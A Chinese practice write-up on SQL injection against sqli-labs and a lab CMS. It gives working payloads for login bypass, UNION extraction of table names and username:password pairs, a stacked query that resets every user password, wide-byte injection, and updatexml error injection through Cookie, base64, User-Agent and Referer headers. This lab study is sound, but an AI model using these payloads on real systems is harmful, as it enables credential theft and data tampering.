SQL 注入【练习】

万能用户名

尝试登录后台

777' or 1 = 1 #

image-20231106105914294

联合查询

两条 select 语句查询结果具有相同列数

判断列数

order by

image-20231106164150697

判断显示位置

把第一条 select 语句的查询条件置为假

image-20231106164907120

数据库敏感信息

image-20231106165102400

查看所有的表名,从 information_schema.tables 查询,表名所属的库名 table_schema=database()

http://10.9.47.83/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()

image-20231106174711655

cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users

image-20231106174729791

查看 cms_users 所有的列名,要表所属的库名和列所属的表名 table_schema=database() and table_name=‘cms_users’

http://10.9.47.83/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'

image-20231106175443320

userid,username,password 

image-20231106175527438

从 cms_users 表查看 username,password 字段

http://10.9.47.83/cms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users

image-20231106200839906

堆叠查询

先查询表

http://10.9.47.83/sqli-labs/Less-38/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-20231107140219008

堆叠注入

http://10.9.47.83/sqli-labs/Less-38/?id=1'; update users set password="123457" --+

image-20231107140448552

宽字节注入

服务器会把单引号转义,单引号由原来的定义字符串的特殊字符被转义为 普通字符

315c27

image-20231107154723798

在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字

image-20231107154900570

成功注入

image-20231107154942300

Cooki 注入

页面中无注入点

image-20231107163044931

bp cookie注入,获取数据库名称

Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select database()),0x5e),1)#

image-20231107165314106

base64 注入

发送到 bp

image-20231107170423445

此处是 url 编码,ctrl+shift+u 解码

image-20231107170500719

解码后为 base64 ,ctrl+shift+b 解码

image-20231107170617150

变成明文

image-20231107170709009

加 " 后 ctrl+b 进行base64编码

image-20231107171042744

发现报错,使用报错注入

image-20231107171125305

Dumb" and updatexml(1,concat(0x5e,(select database()),0x5e),1) #

image-20231107171527161

ctrl+b base64 编码,发送,获得数据库名称

image-20231107171609894

User-Agent 注入

注入的参数在 User-Agent,闭合方式为

wwq' and '1

image-20231107173005029

User-Agent: wwq' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

image-20231107173201559

Referer 注入

注入参数在 Referer 字段中

Referer: wwq' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

[外链图片转存中…(img-ZIOIXLSL-1699368726456)]

Referer 注入

注入参数在 Referer 字段中

Referer: wwq' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

image-20231107173633570

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值